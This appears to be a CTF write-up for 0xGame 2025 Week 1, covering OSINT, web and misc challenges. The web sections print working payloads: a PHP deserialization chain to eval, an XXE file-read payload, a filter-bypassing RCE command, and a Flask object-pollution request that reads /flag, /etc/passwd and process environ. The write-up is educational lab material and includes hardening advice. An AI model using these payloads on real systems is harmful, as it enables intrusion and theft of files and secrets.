0xGame 2025 Week1 WriteUp

0xGame 2025 Week1 Writeup

by 正规子群

https://github.com/n-WN

OSINT

Week1 OSINT

  • 分类:OSINT / 图片取证
  • 难度:简单
  • Flag 规范:0xGame{山的名字_纬度_经度},经纬度保留四位小数且不进位(截断)。
  • 我的答案:0xGame{大室山_32.1191_118.9265}

题目与附件

  • task/OSINT1-1.jpg:识别图片中的山名。
  • task/OSINT1-2.jpg:从图片(或其 EXIF)推导拍摄点经纬度。

解题思路

1. 山名识别(1-1)

观察 OSINT1-1.jpg

  • 广阔光滑的绿色火山锥形地貌;
  • 山脊上环形步道,人流密集;
  • 近处台阶与护栏沿坡而上;
  • 山脊线上有一个醒目的红色鸟居;
  • 远处可见大海与离岸岛屿轮廓。

这些要素与日本静冈县伊东市著名的火山渣锥「大室山」($\text{Oomuroyama}$)高度吻合。该地常被中文游客称为“抹茶山”,因其夏季整座山被绿色草地覆盖,外形如抹茶蛋糕。网上实景图亦可见山脊步道与鸟居,和本题图像构图相符。

因此山名取为:大室山(俗称“抹茶山”)。

2. EXIF 定位(1-2)

我们对 OSINT1-2.jpg 提取 EXIF:

exiftool -a -G1 -s task/OSINT1-2.jpg | grep -E 'GPS(Latitude|Longitude|Altitude|Date|ImgDirection)'

得到(关键字段):

  • GPSLatitude = 32 deg 7' 8.98"(北纬)
  • GPSLongitude = 118 deg 55' 35.69"(东经)
  • 同时包含 GPSAltitudeGPSDateStamp 等无关字段

将度分秒换算为十进制度:

$$ \begin{aligned} \varphi_{\text{deg}}&=d+m/60+s/3600,\ \lambda_{\text{deg}}&=d+m/60+s/3600. \end{aligned} $$

代入数值:

$$ \begin{aligned} \varphi_{\text{deg}}&=32+\tfrac{7}{60}+\tfrac{8.98}{3600}=32.119161\dots,\ \lambda_{\text{deg}}&=118+\tfrac{55}{60}+\tfrac{35.69}{3600}=118.926580\dots. \end{aligned} $$

“不进位保留四位小数” 等价于向下截断至 $10^{-4}$ 位:

$$ \operatorname{trunc}_{4}(x)=\left\lfloor x\cdot 10^4 \right\rfloor / 10^4. $$

因此:

$$ \varphi=32.1191,\qquad \lambda=118.9265. $$

最终 flag:

0xGame{大室山_32.1191_118.9265}

备注:第二张图为室内拍摄的卡通头套,但其 EXIF 保留了拍摄位置坐标,这是 OSINT 中常见的“元数据泄露”。

若需验证读取到的 DMS 值,可使用:

exiftool -a -G1 -s task/OSINT1-2.jpg | rg 'GPS(Latitude|Longitude)'

尝试与坑点记录

  • 最初将山名写成“抹茶山”,被判错;复核后确定其正式名为“大室山”。
  • 经纬度保留四位小数需“不进位”:不能四舍五入,需向下截断;本仓库脚本以 $\lfloor x\cdot 10^4\rfloor/10^4$ 实现。
  • 若图片被平台二次压缩,有可能丢失 EXIF;本题附件保留了 GPS 字段,故不受影响。

参考要点(知识性)

  • 大室山(Oomuroyama):伊豆半岛中东部火山渣锥,山体呈圆锥形,夏季满山翠绿,山顶火口周围有步道与神社鸟居,可眺望相模湾与伊豆大岛。
  • EXIF GPS:常以 DMS 存储,含 LatitudeRefLongitudeRef,需在南纬/西经时赋负号。

Web

Rubbish_Unser Writeup

题目信息

  • 比赛:0xGame 2025 Week1 Web(作者 PureStream)
  • 题目:Rubbish_Unser(easy,710 分)
  • 地址:http://8000-29b93fdb-616e-477c-a19f-27457c7d6042.challenge.ctfplus.cn

代码概览

页面直接 highlight_file(__FILE__),随后仅在收到 $_GET['0xGame'] 时执行 unserialize() 并抛出异常。脚本中预置了多个带魔术方法的类:

  1. ZZZ::__destruct():在析构时输出 "破绽,在这里!" . $this->yuzuha;若 $yuzuha 是对象,则触发其 __toString()
  2. Mi::__toString():尝试调用 $this->game->tks()
  3. GI::__call():拦截未定义方法,取 $this->furina()(可调用对象)。
  4. HI3rd::__invoke():若满足 $kiana !== $RaidenMeimd5/sha1 完全相等,则返回 $this->guanxing->Elysia
  5. HSR::__get():访问不存在属性时取 $this->robineval()

因此可以构造以下调用链:

ZZZ->__destruct
  -> Mi::__toString
      -> GI::__call (tks)
          -> HI3rd::__invoke
              -> HSR::__get("Elysia")
                  -> eval($this->robin)

只需把 $robin 设置为任意字符串即可执行任意 PHP 代码。

哈希约束绕过

HI3rd::__invoke() 中的判断要求:

  • $kiana !== $RaidenMei
  • md5($kiana) === md5($RaidenMei)
  • sha1($kiana) === sha1($RaidenMei)

利用 PHP 的类型转换即可轻松满足:令 $kiana = 0(整型)与 $RaidenMei = "0"(字符串)。两者严格不相等(类型不同),但在 md5 / sha1 时都会被转成字符串 "0",哈希值完全一致。

Payload 设计

  1. 构造对象:
    • HSR::$robin = 'echo file_get_contents("/proc/self/environ");'
    • HI3rd 同时持有 $kiana = 0$RaidenMei = "0"$guanxing = $hsr
    • GI::$furina = $hi3rd(可调用对象)。
    • Mi::$game = $gi
    • ZZZ::$yuzuha = $mi(析构时触发整条链)。
  2. 序列化得到:
O:3:"ZZZ":1:{s:6:"yuzuha";O:2:"Mi":1:{s:4:"game";O:2:"GI":1:{
  s:6:"furina";O:5:"HI3rd":3:{s:9:"RaidenMei";s:1:"0";s:5:"kiana";i:0;
  s:8:"guanxing";O:3:"HSR":1:{s:5:"robin";s:45:"echo file_get_contents("/proc/self/environ");";}}}}}
  1. 访问 /?0xGame=<序列化字符串>,链条展开后 eval 会打印 environ,其中包含 flag=0xGame{Really_Rubbish_Unser!}

自动化脚本

  • 文件:[0xGame2025]rubbish_unser/solution/solution.py
  • 默认目标为正式容器,可通过 BASE 环境变量切换。
  • 执行:
uv run [0xGame2025]rubbish_unser/solution/solution.py

脚本会自动构造 payload,触发链条,并从响应中的环境变量提取 flag。

Flag

  • $0xGame{Really_Rubbish_Unser!}$

复盘

  • 题目鼓励串联“游戏”类(ZZZ/HSR/HI3rd/GI/Mi)构成漏洞链,是典型的 PHP 对象注入练习。
  • 使用 0"0" 绕过 md5/sha1 的同时,不需要预制碰撞,思路清晰直接。
  • 环境变量泄漏是获取 flag 的最快方式;若需进一步利用,还能执行任意命令、读取任意文件。

留言板_reVenge Writeup

题目信息

  • 比赛:0xGame 2025 Week1 Web(作者 PureStream)
  • 题目:留言板_reVenge(353 分,noob)
  • 容器:http://8000-8d86851f-921f-43e7-aa4a-bb059a158d51.challenge.ctfplus.cn

入口侦察

  • 首页只露出登录界面 login.php
  • 尝试弱口令后发现存在默认凭据 admin / admin123,登录成功会弹窗后跳转至 xxxxmleee.php
  • 实测直接访问 xxxxmleee.php 无需会话即可打开,页面是一个接收 XML 并回显解析结果的留言板,提示标题 “Ez_XXE”。

漏洞分析

后台源码未公开,但通过交互可推断处理流程:

  1. POST 时读取原始请求体并使用 DOMDocument::loadXML() 加载,随后 simplexml_import_dom() 转换,再把节点内容输出到页面;
  2. 未禁用外部实体(缺少 LIBXML_NONET / LIBXML_NOENT 防护),因此存在 XXE;
  3. 直接把通用实体指向 /flag 会触发 Start tag expected 警告 —— 因为外部实体被当作“已解析实体”,内容需要是合法的 XML 片段;
  4. 构造参数实体,在 DTD 外部子集中注入一个新的通用实体 <data>%file;</data>,用 <data>...</data> 包裹 Base64 后的 flag,即可满足 Well-formed 要求并顺利回显。

利用 payload

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % eval SYSTEM "data://text/plain,%3C!ENTITY%20exfil%20%22<data>%25file;</data>%22%3E">
%eval;
]>
<root>&exfil;</root>
  • %file 参数实体拉取 /flag,经过 php://filter 做 Base64 包装;
  • %eval 参数实体来自 data:// URI,动态声明 exfil 通用实体,把 %file; 填入 <data>...</data> 标签内部,使解析器得到合法 XML;
  • &exfil; 展开后,服务端再将 SimpleXML 导出的字符串嵌入 <pre>,因此最终响应中能看到 Base64 文本,解码即可得到 flag。

自动化脚本

  • 路径:[0xGame2025]guestbook-revenge/solution/solution.py
  • 运行:
uv run [0xGame2025]guestbook-revenge/solution/solution.py
  • 输出末尾即为服务端响应与解码后的 flag。

Flag

  • $0xGame{1a903b96-173a-8b3d-8a37-a81934dc4187_xxe1919810}$

复盘

  • 旧版本的“留言板(粉)”中 XXE 未加约束,此次 reVenge 修补了“非预期”路径,但主逻辑依然允许外部实体。
  • 关键在于处理好 XML 语法限制,通过参数实体把任意文件包进合法标签,避免 Start tag expected 报错。

Http的真理,我已解明 Writeup

题目信息

  • 比赛:0xGame 2025 Week1 Web(作者 PureStream)
  • 题目:Http的真理,我已解明(224 分,noob)
  • 地址:http://80-ad98a018-e0f5-46c5-87bb-dce59a2ba4ec.challenge.ctfplus.cn

交互探测

初次访问页面可见提示:“用 GET 传递 hello=web”。按照提示逐步构造请求:

  1. GET /?hello=web
    • 响应:继续提示“用 POST 传递 http=good”。
  2. POST /?hello=web,表单数据 http=good
    • 响应:要求设置 Cookie Sean=god
  3. 同时携带 Cookie: Sean=god
    • 响应:提示“请使用 Safari 浏览器访问”。
  4. 加上 User-Agent: Safari
    • 响应:提示“请从 <www.mihoyo.com> 访问本页面”。
  5. 引入 Referer: www.mihoyo.com
    • 响应:提示“请使用 clash 这只猫猫来代理一下”。
  6. 最后补上 Via: clash
    • 成功返回 flag 以及“HTTP 协议的真理解明”消息。

服务以逐步提示的方式引导我们补全 HTTP 请求要素。可以理解为一个多条件验证链,只有全部满足后才会执行最终分支返回 flag。

自动化脚本

脚本路径:[0xGame2025]http-truth/solution/solution.py

核心逻辑:

params = {"hello": "web"}
data = {"http": "good"}
headers = {
    "User-Agent": "Safari",
    "Referer": "www.mihoyo.com",
    "Via": "clash",
}
cookies = {"Sean": "god"}
requests.post(BASE, params=params, data=data, headers=headers, cookies=cookies)

运行方式:

uv run [0xGame2025]http-truth/solution/solution.py

输出将包含完整页面内容及 flag。

结果

  • flag:$0XGame{Congratuation_You_Are_Http_God!!!}$

复盘小结

  • 这是对常见 HTTP 头/参数的连环校验问题;
  • 通过逐步观察响应,推断出需要满足的条件序列;
  • 使用 curl/requests 自动化构造请求即可稳定拿flag。

RCE1 Writeup

题目信息

  • 比赛:0xGame 2025 Week1 Web(作者 PureStream)
  • 题目:RCE1(210 分,easy)
  • 地址:http://80-9e19ce66-5345-45b1-a0df-9990629073c0.challenge.ctfplus.cn

题目源码与审计

源码(首页直接 highlight_file(__FILE__))关键片段:

error_reporting(0);
highlight_file(__FILE__);
$rce1 = $_GET['rce1'];
$rce2 = $_POST['rce2'];
$real_code = $_POST['rce3'];

$pattern = '/(?:\d|[\$%&#@*]|system|cat|flag|ls|echo|nl|rev|more|grep|cd|cp|vi|passthru|shell|vim|sort|strings)/i';

function check(string $text): bool {
    global $pattern;
    return (bool) preg_match($pattern, $text);
}

if (isset($rce1) && isset($rce2)){
    if(md5($rce1) === md5($rce2) && $rce1 !== $rce2){
        if(!check($real_code)){
            eval($real_code);
        } else {
            echo "Don't hack me ~";
        }
    } else {
        echo "md5 do not match correctly";
    }
} else {
    echo "Please provide both rce1 and rce2";
}

要点:

  • 只有在满足 $md5(rce1) \equiv md5(rce2)$ 且 $rce1 \not\equiv rce2$ 的情况下,才会进入 eval($real_code)
  • check($real_code) 黑名单限制十分苛刻:任意数字、$%&#@* 以及常见命令与函数名(system、cat、ls、echo、strings 等)均被禁止。

绕过思路

  1. md5 严格相等的“伪造”条件:
  • 在该运行环境下,向 md5() 传入数组参数会产生一条 Warning,但在 error_reporting(0) 下被隐藏,同时 md5($arr) 的返回值为 NULL(未开启严格类型错误)。
  • 若同时令 rce1rce2 都为数组,则有:
    • md5($rce1) === md5($rce2) 等价于 NULL === NULL,成立;
    • 又由于两个数组的内容不同(如 [1][2]),所以 $rce1 !== $rce2 也成立。
  • 这样即可稳定通过 md5 检查门槛,无需真正构造 MD5 碰撞对。
  1. 绕过命令黑名单与输出:
  • 黑名单包含 flagcatlsecho 等关键词与字符,但并未禁止反引号执行(\``)及die()`。
  • 我们可以使用反引号执行 shell 命令,并用 die() 输出执行结果。
  • 为避免在 payload 中出现 flag 字面量,可使用单字符通配符 ?/fl?g
  • 选择未被列入黑名单的命令 tac 读取文件:tac /fl?g

综合得到安全过检的 payload:

die(`tac /fl?g`);

满足条件的整体请求:

  • GET:rce1[]=1(数组)
  • POST:rce2[]=2(数组)、rce3=die(tac /fl?g);

自动化脚本

已编写脚本:[0xGame2025]RCE1/solution/solution.py

运行(建议使用 uv 以独立环境运行):

uv run [0xGame2025]RCE1/solution/solution.py

输出示例(截断):

0xGame{This_is_Your_First_Stop_to_RCE!!!}

关键细节与推导

  • 关于 $md5$ 的严格相等:题目用 ===,常见的“0e 魔法哈希”仅在 == 时才会绕过,比对为数值 $0$。因此这里不适用“魔法哈希”,需要利用传入数组触发 `md5($arr) \to NULL$ 的行为(在该环境配置下成立)。
  • 黑名单正则:
    • \d 禁止任何数字,阻断了 chr(… ) 一类构造;
    • [\$%&#@*] 禁止若干常见特殊字符;
    • 明确列举了众多命令/函数名;
    • 但未覆盖 tacdie、以及反引号执行。
  • 输出渠道:echo 被禁,但 die($s) 会输出参数后终止脚本,满足需求。

尝试记录

  • 首先直接传 rce1=r& rce2=r 无法满足 rce1 !== rce2 条件;
  • 尝试“魔法哈希”对在 === 下失败;
  • 复核环境:数组传入 md5() 不会触发致命错误(被 error_reporting(0) 隐去),返回值为 NULL,于是想到使用数组构造“相等的 md5 值、但不等的原值”。
  • 在命令选择上,排除了 cat/ls/rev/nl/sort/strings 等黑名单项,采用 tac /fl?g 并通过通配符规避 flag 常量。

最终答案

  • flag:$0xGame{This_is_Your_First_Stop_to_RCE!!!}$

0xGame2025 Lemon_Rev(Web)

本题是一道典型“对象属性污染(object attribute pollution)→ 文件读取(LFI)”的 Flask/Jinja 利用。核心并非 JavaScript 的“原型链污染”,而是 Python 语境下通过不安全的递归 merge 将用户提供的 JSON 写入到应用对象图,进而篡改 Flask 应用的内部配置(如 static_folder 或 Jinja loader),实现任意文件读取。

本文面向教学,分三部分:

  • 从代码出发做漏洞根因分析,并用简洁的数学化表达描述合并过程;
  • 给出可靠的两步利用链,并记录尝试与取舍;
  • 对照官方文档解释 Python 函数对象 __globals__、内置 setattros.path.exists 与 Flask static_folder、Jinja FileSystemLoader 等关键点。

1. 题目与代码复盘

题面(简化排版,完整见 task/attachment.txt):

from flask import Flask, request, render_template
import json, os

app = Flask(__name__)

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class Dst():
    def __init__(self):
        pass

Game0x = Dst()

@app.route('/', methods=['POST', 'GET'])
def index():
    if request.data:
        merge(json.loads(request.data), Game0x)
    return render_template('index.html', Game0x=Game0x)

@app.route('/<path:path>')
def render_page(path):
    if not os.path.exists('templates/' + path):
        return 'Not Found', 404
    return render_template(path)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=9000)

可见:

  • 任何 POST / 的 JSON 都会被递归 merge 进全局对象 Game0x
  • /<path> 路由会在渲染前检查 os.path.exists('templates/' + path)
  • 一旦能影响 Jinja loader 或 Flask 静态根,就存在 LFI 可能。

2. 根因分析与形式化抽象

2.1 merge 的危险分支

用函数 $\operatorname{M}(\cdot, \cdot)$ 表示合并:

  • dst 类映射结构且 v 是字典,则递归:将 $v$ 合入 dst[k]
  • 否则若 dst 有名为 $k$ 的属性且 $v$ 是字典,则递归到 getattr(dst, k)
  • 否则直接执行 setattr(dst, k, v)

因此,给定键序列 $(k_1, k_2, \dots, k_n)$ 与叶值 $v$,只要沿途总能走到“可递归/可写”的对象 $o$,就有:

$$ \operatorname{M}({k_1:{\cdots {k_n: v}}}, ; \texttt{Game0x}) ;\Longrightarrow; \texttt{setattr}(o, k_n, v). $$

这等价于“用户可对对象图中任意可达节点成功写属性”。

2.2 可达 app:__init__.__globals__

在 Python 中,函数对象有 __globals__ 属性,指向其定义模块的全局字典(官方文档:Function Objects)。Game0x.__init____globals__ 中就包含了 app 实例。因此构造:

{"__init__": {"__globals__": {"app": {"static_folder": "/proc/1/root"}}}}

即可令 setattr(app, 'static_folder', '/proc/1/root') 生效。

对照文档:

  • Python 函数对象属性(含 __globals__):Python 官方文档(Data model → Function objects)。
  • 内置函数 setattr(obj, name, value):Python 官方文档(Built-in Functions)。
2.3 路由前置检查与取舍
  • /<path>render_page 先做 os.path.exists('templates/' + path);仅当“templates/ + path”本地确实存在时才渲染,这对单纯改 Jinja searchpath 的玩法构成干扰。
  • os.path.exists(path) 仅检查文件是否存在(官方文档:os.path.exists)。

用 Jinja FileSystemLoader.searchpath 仍可做 LFI,但需与该 exists 的拼接规则配合路径穿越;而 Flask 的静态路由没有这层 exists 拼接,故更稳妥的做法是污染 static_folder


3. 稳定利用链(两步)

思路:将 /static 挂到“进程视角的真实根目录”,即 /proc/1/root,之后直接 GET /static/flag

步骤:

  1. 污染静态根到 /proc/1/root
curl -s -X POST "$BASE/" \
  -H 'Content-Type: application/json' \
  --data '{"__init__":{"__globals__":{"app":{"static_folder":"/proc/1/root"}}}}'
  1. 直接读取 flag:
curl -s "$BASE/static/flag"

实测返回:

0xGame{Welcome_to_Easy_Pollute~}
为什么选 /proc/1/root

在容器/CTF 环境中,1 号进程的根目录符号链接 /proc/1/root 通常指向容器真实根,这样我们无需猜测工作目录或模板层级,等价把 /static 绑定到容器根目录。

能力自测(可选)

先把静态根映射到 /etc,尝试读取 /etc/passwd

curl -s -X POST "$BASE/" \
  -H 'Content-Type: application/json' \
  --data '{"__init__":{"__globals__":{"app":{"static_folder":"/etc"}}}}'

curl -s "$BASE/static/passwd" | head

若可读,说明对象污染链生效且静态路由可用。


4. 尝试过程与对比方案(取舍记录)

  • 早期尝试通过改 app.jinja_env.loader.searchpath=["/"] 再走 /<path> 渲染,但受 os.path.exists('templates/' + path) 限制,路径穿越需要与工作目录/模板目录实际层级吻合,实战中不稳定。
  • URL 编码与变体(%2e%2e/、双重编码、混合分隔符)能提升成功率,但复杂度高,不利于教学;
  • 通过改 static_folder 则无需关心 exists 拼接与层级,命中率更高、思路更清晰。

6. 与“原型链污染”的关系

  • JS“原型链污染”(Prototype Pollution)是污染 Object.prototype 等原型,让属性查找链受到影响;
  • 本题是 Python“对象属性污染/对象图污染”:通过合并写属性到实例/模块对象上,并未改动类层次结构或 MRO,因此不属于“原型链污染”。

7. 防护建议(工程视角)

  • 严禁将不可信 JSON 以通用递归方式 merge 入“任意对象”,尤其禁止 setattr 写入实例/模块等内建对象;
  • 若必须提供“合并/补丁”接口,白名单可修改字段,强制类型校验,屏蔽魔法名:__class____init____globals____dict____mro__ 等;
  • 不允许运行时随意改 app.jinja_envapp.static_folder 等敏感配置;将其固化于启动配置;
  • 在渲染路由前,任何基于外部输入的路径拼接都应避免;静态路由置于只读目录,最小权限挂载。

8. 官方文档对照(便于延伸阅读)

(以上链接与说明已通过 MCP context7 抽取核实要点:函数对象的 __globals__ 定义、setattr 的赋值语义、os.path.exists 的存在性检查、Flask static_folder 的含义与 Jinja FileSystemLoader 多路径支持等。)


9. Flag

0xGame{Welcome_to_Easy_Pollute~}

本文记录一次基于 Flask/Jinja 与“对象属性合并”污染(pollution)的利用过程。目标为一段简化的 Flask 服务,核心漏洞在于对用户提供的 JSON 递归合并到应用全局对象上,导致可写入 Flask 实例内部属性,从而改写模板或静态资源的加载根目录,进而实现任意文件读取(LFI)。

题目描述与源码摘录

服务核心代码如下(节选并适当排版):

from flask import Flask, request, render_template
import json, os

app = Flask(__name__)

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class Dst():
    def __init__(self):
        pass

Game0x = Dst()

@app.route('/', methods=['POST', 'GET'])
def index():
    if request.data:
        merge(json.loads(request.data), Game0x)
    return render_template('index.html', Game0x=Game0x)

@app.route('/<path:path>')
def render_page(path):
    if not os.path.exists('templates/' + path):
        return 'Not Found', 404
    return render_template(path)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=9000)

要点:

  • merge 会把任意 JSON 递归“合并”到目标对象上;当 dst 不是映射时会直接 setattr(dst, k, v)。这使得我们可以构造键路径去触达 Flask 实例 app 的内部对象。
  • 传统思路是:把 Jinja 的 FileSystemLoader.searchpath 改到根目录/,再利用 /<path> 路由中的 render_template(path) 读取文件。但它前有 os.path.exists('templates/' + path) 的存在性检查,单纯的 ../ 有时难以命中真实路径。
  • 更稳的思路:改写 Flask 的 static_folder,走框架内置的静态文件路由 /static/...,从而绕过上面的 exists 检查。进而配合 /proc/1/root 指针把静态根指向“进程视角的根文件系统”,实现对容器真实根路径的直接读取。

利用链总体思路

  1. 对象污染(Object Pollution)

通过 POST / 发送 JSON,利用 Game0x.__init__.__globals__ 链拿到模块全局,再取到 app 实例并修改其属性。例如:

{"__init__": {"__globals__": {"app": {"static_folder": "/etc"}}}}

解释:

  • Game0xDst() 的实例,Python 实例有 __class__,类有 __init__,函数对象有 __globals__ 可达模块字典;模块字典中保存了 app
  • merge 在路径上遇到对象就递归,最终以 setattr 写入属性值。
  1. 从静态路由读取任意文件(LFI via static)
  • Flask 会将 app.static_folder 作为 /static 路由的根(配合 static_url_path,默认 /static)。
  • app.static_folder 改为目标目录后,GET /static/<name> 即尝试读取 <dir>/<name>
  1. 关键技巧:指向 /proc/1/root
  • 在容器/服务场景下,/proc/1/root 是“1 号进程”的根目录的符号链接。将 static_folder 设置为该路径,可以稳定将静态根锚定到容器真实根,而无需猜测应用工作目录与层级。

因此,我们的两步利用为:

  • 第一步:POST / 设置 app.static_folder = "/proc/1/root"
  • 第二步:GET /static/flag 直接读取容器根下的 /flag

详细操作与尝试过程

记运行目标为 BASE = http://nc1.ctfplus.cn:19346(实际以赛题为准)。

  1. 先验证可读任意系统文件能力

将静态目录映射到 /etc,读取 /etc/passwd

curl -s -X POST "$BASE/" \
  -H 'Content-Type: application/json' \
  --data '{"__init__":{"__globals__":{"app":{"static_folder":"/etc"}}}}'

curl -s "$BASE/static/passwd" | head

若返回 passwd 内容,说明污染链生效且可经静态路由读取。

  1. 读取运行信息,论证 /proc 可用

static_folder 设置为 /proc/1,读取 cmdline/environ 等:

curl -s -X POST "$BASE/" -H 'Content-Type: application/json' \
  --data '{"__init__":{"__globals__":{"app":{"static_folder":"/proc/1"}}}}'

curl -s "$BASE/static/cmdline" | tr '\0' '\n' | head
curl -s "$BASE/static/environ" | tr '\0' '\n' | head
  1. 关键一步:将静态根指向 /proc/1/root
curl -s -X POST "$BASE/" -H 'Content-Type: application/json' \
  --data '{"__init__":{"__globals__":{"app":{"static_folder":"/proc/1/root"}}}}'

curl -s "$BASE/static/flag"

实际输出示例:

0xGame{Welcome_to_Easy_Pollute~}

这一步绕开了 /<path> 路由前置的 os.path.exists('templates/' + path) 检查,不需要层数穿越与编码绕过。

原理推导与安全分析

  1. 合并函数的危险分支

merge 的伪代码行为可抽象为:给定 src(用户 JSON)与 dst(任意对象),若 dst 类字典则递归合并键;否则若 dst 有属性 kv 是字典,递归;否则直接 setattr(dst, k, v)。这等价于暴露了“写任意属性”的能力。

形式化地看,若我们构造键序列 $k_1, k_2, \dots, k_n$ 以及叶子值 $v$,使得在归并路径上始终满足“可递归”或“可写”条件,则最终有

$$\operatorname{merge}({k_1: {\cdots {k_n: v}}}, \mathrm{Game0x}) \implies \mathrm{setattr}(o, k_n, v)$$

其中 $o$ 是通过前缀 $k_1,\dots,k_{n-1}$ 导航到的中间对象(如 Game0x.__init__.__globals__['app'])。

  1. 选择 static_folder 而非 Jinja searchpath

原本也可将 app.jinja_env.loader.searchpath = ['/'],再用 render_template(path) 读取。但该路由有 os.path.exists('templates/' + path) 前置检查,要求 'templates/' + path 在文件系统上可达;实践中常被工作目录与层级差异卡住。相较之下,Flask 的静态文件路由不会附带该检查,污染 static_folder 更稳。

  1. /proc/1/root 的优势

许多容器化/CTF 环境中,1 号进程的根(/proc/1/root)反映了容器真实文件系统根。将静态根指向这个符号链接,相当于将 /static 绑定到容器根,不再需要计算相对层数或关心应用工作目录,成功率极高。

自动化脚本(requests 版)

建议使用独立虚拟环境(如 uv)运行:

cd solution
uv init --python 3.11
uv add requests
uv run python solution.py --base http://nc1.ctfplus.cn:19346

脚本逻辑:

  • 发送 POST / 污染 static_folder/proc/1/root
  • 读取 /static/flag 输出;
  • 附带一个回退选项:先测 /etc/passwd 以确认能力。

参考与加固建议

  • 设计递归合并函数时,严禁把不可信的映射直接合并进“任意对象”,尤其避免通过 setattr 改写实例内部状态。
  • 对外暴露 JSON Patch/merge 等接口时,应白名单目标结构;对函数、模块、实例等内建对象的“魔法属性”(如 __globals__)需要屏蔽。
  • 模板系统与静态路由配置不应可被运行时随意篡改;生产环境中应最小化暴露可变全局。

Flag:0xGame{Welcome_to_Easy_Pollute~}


Lemon Writeup

题目信息

  • 比赛:0xGame 2025 Week1 Web
  • 题目:Lemon(200 分)
  • 标签:前端、源代码审计

初步侦查

最初访问 http://80-29913a1b-3472-4ff2-87f9-bafd4a69ee14.challenge.ctfplus.cn,页面仅显示一行歌词,并通过 JavaScript 监听 contextmenukeydown 事件,阻止右键和 F12 调试器。阻断调试界面属于常见的“刷存在感”手段,并不会限制我们直接拉取网页源码。因此我尝试:

  • 使用浏览器 view-source: 功能(在禁用右键的页面中仍然有效)。
  • 使用 curl 等命令行工具直接获取 HTML。

源代码提取

在命令行中执行:

curl -s http://80-29913a1b-3472-4ff2-87f9-bafd4a69ee14.challenge.ctfplus.cn

返回的 HTML 中包含注释 <!-- 0xGame{Welc0me_t0_0xG@me_2025_Web!!!} -->。由注释形式可知 flag 已被嵌在源码里。题目没有进一步的跳转或加密逻辑,因此 flag 直接取值即可。

自动化脚本

为便于复现,我在 solution/solution.py 中使用标准库 urllib 抓取页面,并用正则表达式提取满足模式 0xGame{.*} 的字符串。脚本通过 uv run 调起独立的 Python 环境,避免直接依赖系统解释器:

uv run solution/solution.py

脚本输出 $0xGame{Welc0me_t0_0xG@me_2025_Web!!!}$,与手工分析得到的结果一致。

最终答案

  • flag:$0xGame{Welc0me_t0_0xG@me_2025_Web!!!}$

复盘

  • 页面层面仅做了基础的调试骚扰,提示我们要关注源码。
  • 借助命令行工具直接抓包是绕过前端限制的通用方法。
  • 记录自动化脚本有助于批量验证,也利于后期复盘。

misc

ezShell_PLUS 解题报告

题目信息

  • 题目:ezShell_PLUS(Misc / Week1 / 简单)
  • 目标:通过 SSH 登录容器,利用提供的哈希与解密脚本找回隐藏信息。
  • 登录凭据:welcome/hacker,端口 49313

解题流程

  1. 勘查环境:登录后在 /home/welcome/challenge 下发现 hash_valuedecrypt.sh 以及 files 目录。
  2. 读取哈希cat hash_value 得到目标 SHA256 —— cdae1e73…997b553
  3. 匹配密文文件:对 files/*.dat 批量执行 sha256sum,定位到哈希匹配的文件 558c1a43e0ce90df.dat
  4. 解密:运行 ./decrypt.sh files/558c1a43e0ce90df.dat,脚本会读取 /etc/secret_key.backup 作为密码,最终输出 flag。

自动化脚本

  • 文件:solution/solution.py

  • 逻辑:

    1. 通过 Paramiko 建立 SSH 连接。
    2. 读取 hash_value,遍历 files 下的 .dat 文件计算 SHA256。
    3. 找到匹配文件后调用 decrypt.sh 执行解密。
  • 使用方式:

    cd solution
    uv run python solution.py
    

    输出示例:

    目标 SHA256: cdae1e7300420ddf2500f05c1247f572f06eade2862fb1c56ffd25812997b553
    匹配文件: /home/welcome/challenge/files/558c1a43e0ce90df.dat
    0xGame{Welc0me_to_H@ckers_w0r1d}
    

Flag

0xGame{Welc0me_to_H@ckers_w0r1d}


Do_not_enter 解题报告

题目摘要

  • 类型:Misc / Week1 / 简单(有大量假旗,禁止爆破)
  • 附件:do_not_enter.dd.gz(MBR 整盘镜像,解压得 do_not_enter.dd
  • 叙事:Yolo 的磁盘里有“禁区”,真正的宝藏只会在正确的地方出现一次。

环境与工具

  • 建议使用 p7zip(7z)与 ripgrep 验证;本仓库已提供自动化脚本。
  • 目录结构:
    • task/do_not_enter.dd:题目镜像
    • solution/solution.py:一键抽取唯一正确 flag 的脚本

总体思路

题面强调:

  • 存在大量 fake flag;
  • 平台禁止爆破;
  • 唯一正确答案需要“在正确的方式下完整找到”。

据此推断,真正的唯一性不在于字符串本身,而在于“来源位置与语义”。

技术拆解

  1. 镜像分块

    • 使用 7z l task/do_not_enter.dd 可直接列出 6 个“分块”:0.img, 1.img, 2.img, 3.img, 4, 5
    • 进一步 file/7z l 识别:
      • 0.img/1.img/2.img/3.img 为 ext4 文件系统镜像,卷标分别为:
        • UserShareDo_not_enterWebServerSysLogs
      • 4 为全零数据;5 是零填充中掺杂 ASCII 文本(大量假旗)。
  2. 假旗的海洋

    • 四个 ext4 镜像的日志(auth.log/syslog/dpkg.log)以及分块 5 中塞满了形如 0xGame{WoW_y0u_fouNd_1t?_NNNNNN} 的“编号态 flag”。
    • 统计结果(可复现):
      • 0.img:50 个
      • 2.img:50 个
      • 3.img:50 个
      • 分块 5:30 个
      • 以上皆为“迷惑项”,并非唯一正确来源。
  3. 唯一性线索:禁区与真实挂载

    • 1.img 的卷标即为 Do_not_enter,且 7z l 1.img 可见 Last Mounted = /mnt/real_target
    • 该分区符合“禁区/真实目标”的叙事意象,是题面提示的“正确方式/正确位置”。
    • 关键事实:在 1.img 中仅出现 1 条编号态 flag。
  4. 结论

    • 1.imgsyslog 唯一出现:0xGame{WoW_y0u_fouNd_1t?_114514}
    • 其它分区/分块中的 180 条均为假旗,用以干扰与诱导爆破。

自动化脚本

  • 路径:solution/solution.py

  • 逻辑:

    1. 7ztask/do_not_enter.dd 解出到工作目录;
